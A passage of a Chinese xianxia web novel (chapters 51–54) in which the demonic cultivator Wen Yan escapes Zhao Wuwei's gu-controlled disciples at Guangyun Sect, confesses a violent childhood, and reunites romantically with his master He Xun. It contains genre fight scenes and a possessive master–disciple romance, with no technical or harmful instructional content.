周则挣扎着爬起来,后背的剑伤鲜血如泉涌,闻厌感觉对方随时都要背过气去,眼不见心不烦地把还要挡自己前面的人往旁边推,甩袖震飞了几个围过来的修士。 他扭头对周则道:“附近没有人的地方在哪里?带路。” 周则都已经做好了在此血战的准备,听了闻厌的话一愣,然后就被对方翻了个白眼:“能躲着什么不躲?难道你指望我一人对上整个广云宗吗?” “哪里跑?!”然而赵无为转瞬就追到身后,操纵着中了蛊虫的修士拔剑把两人拦了下来。 闻厌不得不停住了脚。 “自欺欺人也要有个度。”闻厌的目光落在远处那安静站立着的身影,对赵无为道,“你总是针对我有何用处?要不你去问问,看她是恨你还是恨我?” 闻厌一句话就把赵无为定在了原处。 “我大费周章夺来还魂草,就是为了让她回到我身边,婉清她不会恨我的。”赵无为口中信誓旦旦地解释,眼神却飘忽着,整个人已经隐隐有些疯疯癫癫了。 他不敢回头看那道默默立在自己身后的人影,眼中闪着不正常的光,完全陷在了自己的世界中,喃喃道:“我对不起她,但我也是不得已,我已经忏悔了那么多年,难道还不够吗?要不是你,事情根本不会发展到这个地步,凭什么……” 赵无为突然暴怒,爆发出非同寻常的力量,一个箭步冲到闻厌面前扯着人衣服,怨毒地狞笑道:“幸好苍天有眼,你爱的人也死了,这就叫报应哈哈哈!” 周则从旁边狠狠给了人一拳,怒道:“离我们楼主远点!” 赵无为再次被打得跌坐在地,看到满面怒容的周则时一愣,眉间闪过几分阴沉:“难道你忘了你是谁的人了吗?从一开始你就是我派去这祸害身边的卧底,周明正,记住你自己的身份。” 周则的脸色瞬间白了,话音落下的刹那,体内赵无为给他下的蛊虫同样发作起来,伴随着背后的剑伤,让他支撑不住跪倒在地。但他第一时间却是急切地对闻厌道:“楼主,属下发誓,从未做过背叛楼主之事!” 赵无为抓着身边傀儡的手站起,见到这一幕神情极其意外,没想到周则在自己眼皮子底下都敢公然背叛,从鼻腔中重重地呼出口气来,冷笑道:“原来如此。我就说你在魔域待了十年,怎么会什么事都做不成?” 赵无为看着闻厌,从牙缝中一个字一个字往外蹦:“这张脸真是祸害,就连我的人都愿意倒向你……呵呵,不过你今日好歹是走不出广云宗了。” 赵无为的话音中杀意腾腾,闻厌却毫不在意,看着再度向自己围过来的修士,都不急着找地方躲起来暂避锋芒,甚至还心情愉悦地笑了笑——他感觉到了某个远在山海楼的气息正在往广云宗迅速靠近,久违却又极度熟悉。 闻厌道:“其实我从一开始就知道了。” 赵无为和周则皆是一愣。 或许是感知到某人即将到来,闻厌在这种情况下,脑中闪过了自己刚从贺峋手中接过山海楼部分事务时的事情。 虽然是贺峋唯一的徒弟,但闻厌最开始试着掌权时,还是太过于生疏,魔修又惯会欺软怕硬,刚看出闻厌有些焦头烂额的苗头,就直接给他们的小少主来了场刺杀。 ……是贺峋握着他的手把长剑捅进了最后一人的胸膛。 “疼吗?”贺峋问。 他原本是弯腰替人清理着指节上的血迹,但发现自己徒弟抖得实在太厉害了,只能牵着闻厌的手把人揽进怀中,顺了顺怀中人的脊背,温声道:“知道什么地方出了问题吗?” 闻厌从贺峋的臂弯中看向组织了这场刺杀的魔修的尸体,语气不解:“我知道他有问题,已经在尽力防着他了。” “那你一开始为什么要用他呢?” “……” 贺峋就笑着叹了口气:“厌厌,为师教过你的,用人不疑,疑人不用。” 闻厌沉默了一会儿,神情似有所悟,但很快又想到了新的问题:“可如果人手不够,我实在想用一个人,不过他的立场又摇摇摆不定,要怎么办?” “那便赌一把。”闻厌听到自己师尊这样道。 贺峋的语气轻飘飘的,又带着某种鼓动性的意味,于是让闻厌也有些分不清自己此刻的颤栗是疼痛的遗留,还是他本能中对刺激与兴奋的追寻。 赵无为反应过来了,语气阴沉道:“不愧是贺峋的徒弟,学得一手玩弄人心的好本事。” 赵无为已经发现了,无论如何,他在口头上都从闻厌这里讨不得好。 凭他一人无法长时间的操纵蛊虫,趁着现在一切还在掌控中,赵无为决定不再和闻厌浪费时间了,他做了个手势,凌厉的攻势便从四面八方直冲闻厌而来。 一片混乱中,闻厌听到有人叫了自己一声,他抽空转头看去,就见唐柏正打开了某处角落中的机括,拉着他一起躲了进去。 赵无为气急败坏的叫骂霎时被挡在了外面,唐柏仍有些忧心道:“这里只能暂时撑一会儿,迟早还是会被赵无为破开机关。” “足够了。”闻厌道,“赵无为的蛊虫生效不了那么久,只要躲过了这一阵就好办了。” 他去看被自己顺手拖进来的周则,这人从刚才开始就神情僵硬,好像对外界都没了反应,麻木地任他动作。 闻厌蹙起眉:“你怎么了?” 现在他可没这耐性带着个拖油瓶到处走。 周则怔愣了片刻,突然对闻厌道:“楼主,我的伤是不是很重?” 闻厌“嗯”了一声:“主要是赵无为给你下的蛊有些棘手,放心,死不了。” 周则看着闻厌,语气却有些心灰意冷道:“楼主,您别管我了,如果我今日死在这里,是不是就……” “……” 闻厌动作一顿,眼中瞬间浮现出审视和疏离,淡声道:“我以为你不在山海楼的那段时间里已经把坏掉的脑子修好了。” “可是贺峋不就是这样的吗?”心绪激荡下,周则破天荒地冲闻厌道,“这十年间要不是他死了,您怎么会对他念念不忘?!” 要不是看在这人真的要死了的份上,闻厌绝对会给这人的脑袋开个瓢,看看里面还藏了多少水。 “你当我是什么?难道谁死在我面前我就会喜欢上谁吗?” 闻厌烦得不行,脱口而出后却整个人一顿,顿觉失言,余光瞥到周则有些激动起来的神色,喝道:“闭嘴!” 唐柏不知道两人在说什么,只听明白了贺峋这个名字。 他控制不住地在意对方的过往,又有些惋惜对方后来遇上的是这般性情扭曲的魔头,不然现在也不会堕入魔道。 “我为什么要归依正道?”闻厌反问他。 唐柏放柔了语气,或者说在赵无为的回忆中看到了这位闻小魔君的过往后,几乎没有人会狠得下心对他恶语相向。 唐柏道:“景明,就算生来便是魔修也代表不了什么,你不要自暴自弃,趁着现在还没有犯下罪业,及时回归正道还来得及,所有人都会接受你的。过去是闻家有愧于你,幸好突然起了场大火……” “幸好?”闻厌打断了唐柏的话,脸上露出个有些意味深长的笑容,“不,这可不是幸好。” “你还没发现吗?”他对唐柏道,“自从我从万宝宫救了你后,你就对我抱有了一些不切实际的幻想,哪怕是知道了我的真实身份后,你也无比希望我能够和你寄托了所有希望的那个模样一样,所以每当你发现我不符合你预期的一面时就会生气难过,但是事后又后悔。” “我不知道你累不累,但我已经有些厌烦了。”闻厌道,“我早就已经跟你说过我们不是一类人,你还想抓着每一点蛛丝马迹,说我本性良善,劝我回正道吗?如果真的是这样我劝你尽早放弃,我既然能救你,自然也会杀你,你最好不要真的让我耐心耗尽走到那一步。” “……” 唐柏憋了很久才挤出来一句话:“可是你愿意跟着贺峋,不也是因为他后来救了你吗?” 听人这样说,闻厌垂了下眼,低笑一声:“他确实救了我,也教了我很多,不过……” 闻厌突然换了个话题:“其实赵无为记忆中的并不是事情的全部,我这里还有一些他都不知道的东西,想听吗?” 唐柏眼角一跳,预感到了什么,心脏疯狂鼓动起来。 “虽然事实差不多就是赵无为看到的那样,不过他把我的生活想得也太凄惨了些。” “每次有人要来找我麻烦的时候,我都会很困惑,我只是根骨适合修魔,不是没有任何法力,难道他们觉得我没有还手之力吗?总是被人为难也很烦的,所以在没有人的时候,我会特意提醒一下他们。” 闻厌被唐柏的表情逗笑了:“你这是什么表情?放心,我很讲道理的,都没弄出人命过。一般情况下,要么是把饭碗踹了,让人一粒粒舔干净,要么是给人脖子上栓根绳扔水里,淹得差不多了再拉上来……反正都是挑他们喜欢的做,成效不错,一般人被提醒了之后就不会再找我麻烦,但架不住蠢货源源不断,让我都没过过几天安生日子。” “等知道要拿我去炼丹,我就决定要离开离开闻家了。”闻厌笑了笑,“只是离开前觉得还是要留下些什么,不然总感觉太亏了。” “啊,你好像猜到了,没错,那把火是我放的。” “很奇怪?可谁会防着一个孩子呀,或者说本来就是要扔进丹炉里的原料……所以等到火大起来后就来不及咯。” 闻厌笑容甜蜜,漂亮的眼眸弯成一对浅浅的月牙:“人们就喜欢看这种故事,不是吗?位高权重者道貌岸然,坏事做尽的恶人却有着凄惨的往事,最后坏人洗心革面,幡然悔悟。” “赵无为太适合去演这种戏文了,只可惜我这坏人却有些不太配合,还是做不到和话本子上的一模一样。” “所以你现在明白了吗?”闻厌嗓音轻快地对唐柏道,“我很满意现在的日子。” ……和身边的人。 为什么都觉得是贺峋影响了他呢? 闻厌从未像此刻这般清楚地认识到,他们从本质上就是一样的。 一样的冷漠、扭曲,坏到了骨子里。 这世上没有人能够比他们更契合彼此。 他们是志同道合的变态、天造地设的一对坏胚。 第52章 “故事讲完了, 唐兄,你还满意吗?” 唐柏仍在愣神,久久不能平复。 周则已经陷入了和体内蛊虫的抗衡中, 另外两人说到后面时他都已经意识模糊,没有力气再像刚才一样和闻厌呛声,狭小的空间一时陷入了短暂的沉默中。 闻厌伸了个懒腰, 站起身,先转到周则那边看了眼,又估摸着赵无为会破门而入的时间, 踱步去研究开门的机括。 隔着厚重的石墙,已经有沉闷的撞击声传来,闻厌啧了一声,发现自己还是没有足够好运到能够完美躲过最棘手的这段时间,不得不打起精神,手搭在了软剑上,身侧隐隐有魔气环绕, 做好时刻对上一群修士的准备。 “我还是非常感激你。”唐柏盯着闻厌半天, 突然道。 这让闻厌分了点注意力过去。 “我今日能来到殿上,一路上全靠周则暗中相助,我知道他是你安排的。”唐柏眼底痛苦和懊悔交织,“其实要是我一开始相信你,就不会被赵无为骗那么久了。” 唐柏发现自己对上闻厌时总是歉疚居多, 他经常想在事后弥补, 可眼前人太过出众, 除了苍白的言语, 他能做的实在少得让人绝望。 “景明,你还有伤在身, 等会赵无为破开这里后我会尽力和他周旋的,你抓紧时间快跑,只要等蛊虫的时效过了他就没有威胁了……呃。”他眼睁睁地看着闻厌在他面前活动了下筋骨,动作轻松,不见任何受伤后的阻滞感。 闻厌顺着唐柏的目光低头看了下自己腰侧,恍然道:“忘了告诉你,赵无为那刀没伤到我。” “那你怎么……” 闻厌歪了下头,对人笑道:“即兴发挥了一下,不见点血怎么更加符合这个剧本呢?” 说出来的话气死人不偿命,但嘴角勾勒出的笑容又很可爱,非常招人喜欢——哪怕知道了这具美丽的皮囊下是何底色,也提不起任何负面情绪。 唐柏语塞,下一瞬面前的墙体轰然碎裂,强劲气流伴着冷冽杀意直冲面门。 唐柏拿着自己的佩剑就率先迎上了对面的攻势,但赵无为也已经意识到自己所剩时间不多了,绕过他目标明确地直指闻厌。 闻厌看着一群来势汹汹的修士,有些头疼。 他运起身法,便轻盈地落到了几丈外,可刚落地站稳,除了身后追来的,又有修士接连从门外闯入,眼神麻木,毫无感情地向他攻来。 闻厌劈手夺过距离自己最近一人的剑,比了个剑法的起手式,锐利的锋芒中,阴冷强势的魔气霎时以他为原点往外扩散,把所有近身的修士统统震飞。 周身短暂空了一瞬,闻厌随手挽了个剑花,抬眼准备迎来下一场时,某种极具压迫感的气息倏然从殿外一点点爬了进来,宛如湿滑粘腻的池沼,悄无声息地把人拖进了深渊之中,就连被蛊虫操纵着的修士也浑身一僵,不受控制地发起抖来。 “是谁来了?”混杂着不安的低语响起。 所有人都感受到了来人修为上的绝对压制,甚至让人根本提不起逃跑的想法。 瞬间凝固起来的氛围中,先传入众人耳中的却是来人口中随意哼着的调子,穿过外面未知的危险在众人耳畔响起,于这种情况下透着十足十的怪异。 平稳的脚步声越来越近,靠近殿门的方向接连传来锐器入体的闷响,众人眼睁睁地看着刚被操纵来到殿外的广云宗修士一声未吭,直接接连倒下。 然后来人的衣袂一角出现在了众人视线中,玄色滚着金线的布料浸满了血,沉甸甸地在地上拖过一条蜿蜒的血痕。 哼着的调子停了,那张曾在很长一段时间内都会出现在仙门众人噩梦中的脸久违地现于人前,笑道:“诸位,许久未见了。” 四周陷入了死一般的寂静,所有人不约而同地怀疑自己是否还在梦中。 “……贺峋!贺峋来了!” 有个广云宗弟子拖着胸前的血口,跌跌撞撞地从殿外跑来,气还没喘匀,就看到了殿内的景象——他们宗主神色癫狂,身边站着熟悉的师兄师姐,却尽皆神情木然,然后他后知后觉地一愣,被贺峋吓得一片空白的脑子回过神来,发现自己竟不记得见到贺峋前自己在做什么。 贺峋口中对众人打着招呼,眼神却直直地落在了层层修士包围后的闻厌身上。 剑尖在感受到熟悉气息的那刻便已经垂落,闻厌隔着人群和那个修长身影对视,发现只不过一段时间未见,当那熟悉的眉眼出现在眼前时,心中累积的情绪竟已经沸反盈天。 然后闻厌轻轻别开了眼,在众人的视线中,像是仅仅和人短暂对视了一瞬。 可是贺峋却径直向他走来。 原本围着闻厌的修士似乎感觉到了强有力的威胁,有几个调转了身持剑攻向贺峋,贺峋连眼都没抬,顺手挡住来人的长剑,转了个头,悉数没入对方体内。 动作干净利落,期间的狠意让人一下就回想起了这人孤身一人一个个宗门杀过去的景象。 “等等……”有人发现了端倪,脸上露出激动的神色。 只见倒在地上的修士抽搐了一下,吐出一口血来,接着眼神一颤,竟从迷茫转向清明,还没到蛊虫失效的时间就自行恢复了意识。 众人这才发现原来是赵无为算准了他们不敢下重手,才一直处于被动挨打的境地,要不是被贺峋启发,所有人都还要蒙在鼓里。 局面很快被控制住,可是制住了个赵无为,又来了个更让人捉摸不透的贺峋,所有人仍旧不敢掉以轻心。 广云宗修士清醒过来后的第一时间就找人把赵无为押往地牢深处,然后都顾不上处理身上的伤口,转头道:“贺楼主……嗯?人呢?” 贺峋悄无声息不见了,连带着闻厌也不见了踪影。 没有人想到他们要找的人就在一墙之隔。 广云宗的大殿有不少直通宗内其他地方的密道,有些年岁已久失修了,道路被阻断,成了一个天然的密室。 “厌厌。”贺峋站在几步远的距离外叫他。 “怎么每次一离开为师你就把自己弄得那么狼狈?”贺峋笑着叹了口气,语气听起来和风细雨的,还打趣道,“玩脱了?” 鲜活的,不再是这段时间以来总会随时随地出现在自己脑海中的单薄影子,只要一抬手就能获得来自对方的拥抱。 不过闻厌没动,不情不愿地“嗯”了一声,抱怨道:“那个赵无为也太无耻了,我都没做到他那种程度。” 闻厌看起来神色如常,但自见到这人起,心脏就像过电般越跳越快,让他整个人像是被人为劈成了两半,一半在神情自若地和人交谈,另一半的心思却已经在疯狂地游走,他知道贺峋在和他说着广云宗内发生的事,但完全听不进去贺峋说了什么,视线无意识地落在对方开合着的嘴唇上。 这一刻闻厌的心中升起了一种接近愤怒的情绪——这人怎么能表现得如此毫无波动?难道带他进来避开众人耳目就是为了一直和他说些无关紧要的事情吗? 这点异常还是被发现了,贺峋从善如流地住了嘴。 “有一段时间没见了,厌厌不想我吗?”贺峋朝他伸手,笑了笑,轻声哄道,“过来给师尊抱一下?” 刚露出苗头的烦躁被对方一句话就打了回去,闻厌看着就连拥抱都变得如此克制温和的人,一愣神,随后属于两人间的某种默契让他读懂了对方的意思。 闻厌似乎听到了贺峋说,厌厌,你离开的这段时间里难道一刻都没有想起过我?你还没有认清楚自己喜欢什么吗?我可以压抑我的本性,但这真的是你想要的吗? 我爱你……可你敢承认你爱我吗? 那双幽深黑眸弯起的弧度很好看,盛着光落在他身上时,就和这人曾一遍遍在他耳边诉说过的爱意别无二致,温柔中包裹着极致的偏执和扭曲,只要胆敢靠近,就会被拉着一起坠入无可回寰的深渊之中。 贺峋静静地站在不远处,像是在等他做出选择。 是选择接受一个温情的拥抱,还是…… 闻厌抽出了缠在腰间的软剑,抬手扔到了一旁,然后向贺峋走去。 短短几步距离,他又从身上摸出了各式各样的暗器,银针、飞镖、刀片……丁零当啷地接连被他扔到脚下,上面淬的毒在灯火的笼罩下泛着美丽而妖异的色泽。 最后他站在贺峋面前,浑身上下已经没有任何可以防身的筹码。 闻厌脚步一转,就把人抵在了墙上。 贺峋张开的手接了个空,眼底的笑意却更大了,低头看着自己徒弟,纵容地笑。 贺峋说:“我爱你。” 语气缱绻,已经不厌其烦地在人耳边说了千百遍。 闻厌抬手勾上了贺峋的脖子,目光相接时,两人相似的黑眸中闪着同样灼热的光。 “嗯。”闻厌应了一声,道,“我也爱你。” 第53章 半废弃的密道中光线昏暗, 灯芯跳了一下,让投在两道身影上的光闪了闪,又被人直接忽略。 感官过载, 周遭的一切都模糊不清,只能感受到唇齿间的激烈纠缠,大脑中氧气被迅速消耗, 没一会儿就晕乎乎的,艰难回神时,闻厌发现被抵在墙上的已经不知不觉变成了自己。 似乎是他们两人毫无征兆的消失已经引起了越来越多人的注意, 寻找他们的动静越来越大,嘈杂的人声就连厚重的墙壁都挡不住,直接往耳朵里钻,让闻厌不由自主地压低了从唇边泄出的喘息。 然而贺峋所想应该和他背道而驰,亲吻激烈得简直像是撕咬,闻厌一开始还勾着人脖子,逐渐也有些发软, 手臂无力地滑了下来, 软绵绵地在人背后挠了挠,在贺峋捉住他的手腕时,手指动了动,像是要挣开。 贺峋的眉间掠过些许几不可察的阴霾,然而下一刻, 闻厌的指尖就挤进了他的指缝中, 非常主动地和人十指相扣。 这就像碰到了某个机关, 贺峋的动作陡然剧烈起来。闻厌觉得眼前人越发带着要把人压得喘不过气来的粗暴, 相扣的十指被牵着按在了墙上,另一只手掰着他的下巴, 固定住他有些下意识的躲闪。 闻厌仰着脸,纤长浓密的眼睫半睁半闭,随着对方的动作被撬出越来越明显的声音,半掩着的眼眸中满是雾蒙蒙的水光。 微凉的温度正从他的颌骨往下滑去,激起阵阵战栗,在对方咬上颈侧的时候,闻厌抖了一下,恰好将腰身送到贺峋掌下,半干的血迹还透着轻微湿意,碰上了贺峋的手指,然后感觉到那把自己掐在掌中的手一松,不引人注意地放缓了动作。 闻厌的眼睫上挂着湿重的水汽,仰脸看贺峋的神色。 贺峋问道:“这次又是怎么弄的?” 语气透着压抑的低沉,不出意料地在对方眼底看到了浓重的阴霾,这在以往通常昭示着自己师尊明晃晃的不悦。 有了另一层面的关系后,闻厌知道对方一向都不喜欢在自己身上看到其他人的痕迹。哪怕在他身上出现的只会是和别人交手时留下的或大或小的伤口。 过去他把这全都归结于对方极致到变态的独占欲,虽然事实也确实如此,一旦他察觉出对方身上的低气压时,刻在骨髓中的危险预感就已经让他不敢轻举妄动分毫。 没有人在这时候还有胆子去触贺峋霉头的,就算闻厌已经待在自己师尊身边很久了也没有改变。 但直到此刻,他才发现自己好像还忽略了另一层面的含义。 滚到口边的解释被他咽了回去,闻厌的眼神一动,道:“之前不小心被赵无为捅了一下。” 果不其然,贺峋的周身低气压似乎更明显了,搭在他腰上的手霎时收紧,却又刻意避开了伤口边缘。 对方隐晦的生气似乎在刚见到他的时候就已经浮现在眼眸中了,但是被和风细雨的笑意掩盖着,经过刚才的酝酿后,反而席卷得更加猛烈。 “怎么不提前传信来山海楼?”贺峋问。 其实徒弟身上的伤不会严重到哪里去,贺峋非常清楚这一点。在兰城把人放走的时候,他就已经在闻厌身上留下了一道护身符,只要人遇到致命的危险就会自动触发,为的就是怕自己那怕疼怕得要死又爱玩的徒弟一不小心就把他自己搭进去了。 一直以来这道符咒都没有任何反应,除了刚才起了些许波动,让他来到广云宗,却出乎意料地见到了又受了伤的徒弟。 闻厌不知道贺峋留下的护身符,但他明白对方生气的点在哪里。 他扬起脖子,凑上前去亲了亲贺峋的唇角,对方没有拒绝,但在他企图更进一步时,又被人按着后颈往后拎开了些许。 闻厌意犹未尽地舔了下嘴唇,迎着贺峋沉沉目光,眸中神色闪烁,最终定格成了一个意味不明的笑容,问贺峋道:“师尊为什么总是不高兴看到我身上有伤?” 闻厌动了动手,和人相扣着的手移到了腰侧那块血迹的上方,即将按上去时,另一道力度从贺峋的手上传来,止住了他的动作。 闻厌的眼中瞬间浮现出了些许坏事得逞的意味,在墙壁和对方身体构成的狭小空间中歪了歪头,眉眼带笑:“师尊会心疼吗?” “……” 贺峋眉间积聚的淡淡冷意还没散去,视线落在笑得明目张胆的徒弟身上,对方眼角眉梢间流露出来的神情非常勾人,像是恃宠而骄,让人明知道他的算盘,还是会心中发软,无条件地顺着他。 贺峋静默片刻,笑了,坦率道:“是。” 闻厌心满意足地笑了起来,他愉悦地又仰起脸亲了亲贺峋的下巴:“那师尊等会儿可不能生气。” 贺峋从鼻腔里疑惑地嗯了一声,看着自己徒弟随意施了个洁净术把衣服上的血迹弄没了,抓着他的手就摸了上去。 掌下的肌肤光滑细腻,没有一丝受伤的痕迹。 “惊喜吗?”闻厌笑得眉眼弯弯,还非常狡猾地先给他扣了个帽子,“开个玩笑,师尊可不能玩不起哦。” 很像贺峋每次起了坏心思吓唬徒弟时的语气,现在被胆子大了的某人学了个十成十,还不能报复回去,不然就成了徒弟口中的小气鬼。 贺峋盯着他看了片刻,最后叹口气,确实非常有气度地没有追究,对人道:“厌厌,你如果想听,可以直接让我说的,不用费心想那么多弯弯绕绕。” 他抽回手,慢条斯理地束好徒弟的衣服,动作淡然,反而是闻厌被对方贴着自己耳朵说话弄得有些痒,不自在地微微偏过头。 耳骨上的皮肤很薄,透出淡淡的粉色,贺峋捏了下,低笑一声:“你的要求为师什么时候没有满足过?你想听我说什么都可以。” 闻厌在那瞬感觉自己好像被调戏了,但对方没有留给他足够的反应空间,轻飘飘地一触即走,已经直起身,对他道:“我们消失的时间足够久了,出去吧。” 闻厌有些难以置信,转过头看人。 他的衣服被整理过,透着一股刻意的整洁,这就使得眼尾已经被对方勾起的情欲格外明显。 闻厌才不信贺峋是真的在乎外面那些人找不到他们怎么办,他觉得这绝对是贺峋故意的。 闻厌决定收回刚才还说这人大度的话,分明记仇得不行。 “嗯?厌厌不想走吗?” 装模作样。 闻厌磨着后槽牙在心里狠狠谴责,不过在对方走回来牵他的时候还是诚实地把手递了出去。 “噗嗤——”贺峋终于撑不住笑了,牵着他的手用力一扯 ,把人接了个满怀。 “厌厌,你真的太可爱了。”贺峋由衷感慨道,“哪怕是个满嘴谎话的小骗子。” 闻厌眼一瞪,就被人在眉间亲了口,俯身时对方的发丝拂过他脸侧,就和落下的吻一样轻柔,成功堵住了他接下来的话。 ……闻厌木着脸跟人走了。 好烦,小心眼- 贺峋其实说得没错,随着他们消失的时间越来越长,外面众人的议论声也越来越剧烈了。 “我刚才真的没看错吗?那真的是贺峋?不是说他已经死了吗?” “千真万确,就是他!前段时间魔域有动乱,有人说看到了一个很像贺峋的人,我还不信,竟然是真的!” “他来这里做什么?” “寻仇吗?我看他像是直接奔着闻公子来的。” “他们不会打起来了吧?!” “不可能,真打起来不可能是这个动静,是不是贺峋他又有什么阴谋?” 过往印象着实让人畏惧,尤其是现在在场的绝大部分修士都没有恢复过来,若是贺峋真有心想做什么,没有人还有还手之力。 话音刚落,殿中的某个角落传来一声轻微的机括转动声,众人议论声中的两位主角出现在了面前。 贺峋的目光在眼前众人身上转了一圈,微笑道:“许久不见,诸位见到我为什么还是一副如临大敌的眼神?” “贺楼主……” “楼主!” 两道声音同时响起,前者是有修士硬着头皮站出来对上贺峋,后者则来自从昏迷中惊醒的周则,醒来后一听到闻厌不见就急了。 相似的称呼中完全不同的指向,透着微妙的争锋意味。 “周副使,你伤口又渗血了……”唐柏追在后面跟他说着话,但周则的眼中已经完全被不远处并肩站着的两道身影占据了。 他以前从来没见过贺峋,在被赵无为安排去魔域之前,他很少在人前活动,所以哪怕关于贺峋的传言满天飞的时候他都没见过本尊的真容。 但是当他看到站在闻厌身边的那个高挑身影时,那两人间极度契合的氛围让他瞬间就锁定了人选。 贺峋给他的感觉很熟悉。 因为身量很高,贺峋往往是在人群中一眼就会被注意到的那种,看人时幽深的眼眸微垂着,唇边还会挂着似有若无的笑意,似乎任何事对他来说都能淡然处之。 闻厌绝大多数时间里在众人面前的模样就是这样的,不过阅历的差距偶尔会让他在某些时候仍未褪去锋芒毕露的尖锐,特别是提及他在十年前死去的师尊时,原本不动声色的阴沉便扑面而来,张牙舞爪地揭示着本人剧烈翻涌的情绪波动。 周则刚这样想着,就对上了贺峋投过来的目光,让他顿时止住了要往那边走过去的脚步。 只见贺峋那双幽深眼眸中的神色瞬间变得有些沉冷,微微眯起,落在他身上时透着几分打量。 那双眼睛中的不悦毫不掩饰,不显山不露水的,却让人浑身一凉。周则发誓他绝对在里面看到了一闪而过的杀意,随后就看到贺峋幅度极轻地勾了勾唇角。 对方非常自然地抬手揽住了身旁闻厌的肩膀。 而他们楼主竟毫无抗拒的意思,和面前的修士交谈着,没有去看突然和自己有了肢体接触的贺峋,身体却已经出于本能往对方臂弯间倾斜了些,宛如某种矜贵又拒人于千里之外的动物破天荒地收起了锋利的爪子,纡尊降贵地愿意让唯一被他接纳的人尽情抚摸自己华贵的皮毛。 之后贺峋就没有再分给他任何目光了,但周则却觉得自己已经一败涂地。 短短一瞬,他们之间就已经完成了一场交锋,对方甚至都不屑于正面与他相争,就以一种漫不经心的态度取得了绝对性的胜利。 “贺楼主这就准备走了吗?” 贺峋应了一声,面前的修士还是有些不敢相信。 这人来时声势浩大,没想到只短暂露了个面,就准备和身边人一起打道回府了,像是仅仅单纯来接个人。 贺峋似乎看出了对方的神色,笑了下,搭在闻厌肩上的手顺势往上揉了揉人乌黑柔顺的发丝,道:“我家徒弟胆子小,性子又软,自己一个人的时候被欺负了怎么办?” 闻厌在心里翻了个白眼,面上却乖巧地笑着,形状漂亮的眼眸弯出一个温良无害的弧度。 恰逢赵无为被人押着经过他们身边,头发凌乱,神情状若癫狂,看到站在一起的师徒二人,眼中迸发着怨恨的光,从喉咙深处发出几声满是怒火的低吼,可被人制着,只能徒劳地挣动一下,绝望而不甘地再次被押着走向地牢的方向。 广云宗修士沉默了片刻,竟好像真的觉得贺峋说得很有道理。 他回想起过往,广云宗和这位闻小楼主间龃龉不断,如今随着赵无为事发,突然让他觉得他们好像真的在欺负人,愣是从贺峋的语气中读出了几分意有所指的不满味道。 他面有愧色道:“闻公子,此前多有得罪,等处理完赵无为的事情后,广云宗必登门致歉。” 闻厌在看赵无为,或者说在越过他看一直安静站在一旁的段婉清。三魂不全,让她对什么都没多大反应,结契也好,大打出手也好,一切对她来说都像是一场闹剧。 那个广云宗的修士见闻厌一直没有反应,更加歉疚,又再三道歉。 总算让闻厌把目光收了回来。 他其实都没有留意对方说了什么,就一直保持着无害的笑容直到对方离开。 “刚才在看什么?”贺峋问他。 闻厌装作没听到,意义不明地哼了一声,然后转头毫不留情地嘲笑贺峋道:“师尊,这么恶心的话您也说得出口。” 贺峋无可奈何地笑。 他是真心实意这样看自己徒弟的,不止胆小,还柔弱又娇贵,不然也不会动不动就被吓得发抖,明明自己已经尽力收敛许多了。 此时的广云宗内一片狼藉,没什么人顾得上他们,闻厌和人一起往出去的方向走。 期间贺峋有点事情暂时没那么快出来,闻厌就站在广云宗的山门旁等人。 周则见到闻厌时,对方正倚在山脚的亭柱旁,姿态闲散地看烟斗上方升腾的烟云。 样子和他作为副使跟着对方的十年间没什么不同,但整个人好像又平和了许多,似乎是一直在不甘撕扯着的一场无形较量落下了帷幕,于是心中紧绷着的那根弦也跟着松了下来。 “楼主。” 闻厌转过头去,看到了自己灰头土脸的下属,在别人都忙着处理伤势时,这人还顶着一身大大小小的伤四处跑。 闻厌挑了挑眉,或许是贺峋去处理事情前的那个吻让他心情不错,他也没太把对方此前的冒犯放在先上,问道:“你怎么来了?” 然后又道:“和你说过了,我现在不是楼主了。” 就是这句话让周则眉心一跳。 他嗓音有些艰涩地问:“……您接下来会去是非阁吗?” 闻厌摇头。 这个自己一手创建的组织已经初具雏形,没有什么需要他寸步不离看着的地方。 而且其实他现在也有些拿不准贺峋对此的态度,像是有些不悦,但又从来没有插手阻碍过。 闻厌道:“先回山海楼吧。” “为什么?您要放弃现在手中的一切吗?”周则立马就问他。 他喜欢权势吗?闻厌感觉自己应该还算得上喜欢,但似乎又称不上执着。 他从没和任何人说过,一开始他想要培养自己的势力,想的其实是如果有朝一日他能和人重逢,他会怎么做?他觉得一定要有能够把某个人牢牢留在身边的能力。 闻厌当时理不清为什么自己那么执着地想要再见人一面,只能归咎于自己师尊就算要死也死得太折腾人,扔给他一堆谜团,比以往的任何一次考校都要让他头疼。 闻厌只能每次都告诉自己,或许等到他想清楚了,对方就回来了。 他笑了笑,从短暂的晃神中脱离出来,对周则道:“因为我已经找到我最想要的了。” 他想要自由,但他更接受不了没有贺峋的自由,如果和对方相爱注定要失去什么,那么他可以忍受。 所以他最终还是输了。 脚步声又从近处响起,闻厌把烟斗从唇边移开,以为是刚刚离去的周则去而复返。 他抬头,发现眼前投下了一片熟悉的阴影。 贺峋不知道是什么时候来到附近的,微笑中似有无奈,对他道:“厌厌,为师什么时候教过你爱一个人和输赢有关?” 贺峋看着徒弟脸上浮现出的些许困惑,感觉人应该是误解了什么。不过这并不是能够被立即纠正的事情。 于是他只是抽过了闻厌手中的烟斗,弯了下唇角:“不过你确实要先还一下债了。” 第54章 闻厌直觉这不是什么好话。 他下意识要从对方手中夺回自己的烟斗, 然而仅仅是眼神一转,贺峋就已经看出了他想干什么,提前把手一举, 十分无耻地仗着身高差欺负人。 闻厌攀着贺峋的肩膀踮脚去够,将要抓到的时候,贺峋就慢条斯理地把手伸直, 让他够都够不着。 “你干什么?”闻厌色厉内荏,压下心虚,先发制人地语气强硬道, “还给我。” 贺峋轻笑一声,指尖一转,冰凉的烟杆就抵上了徒弟的下颌。 闻厌被迫顺着对方力道抬起头,后知后觉地有种对方要新账旧账一起算的预感。 “有人好像又不听话,把为师的话当耳旁风了。”贺峋温声细语的,但闻厌不会天真地以为对方此时还在与他说笑。 鉴于这人时不时就要恶趣味地吓他一下,闻厌已经驾轻就熟地掌握了分辨对方话语中细微差别的能力。什么时候是可以不用理会的, 什么时候是还可以一拳还回去的, 还有什么时候是绝对不能忤逆的……界限分明,成了他几十年间无师自通的一项特殊技能。 现在这种情况就归属于绝对、绝对不能忤逆的范畴中。这意味着对方百年难得一见地捡起了为人师长的责任,对他某件事达到了容忍的阀值,决定要采取些不容置喙的措施。 “厌厌,我说过什么?” 闻厌不敢吭声。 他当然记得刚从兰城出来时, 贺峋借万绍之口传的话, 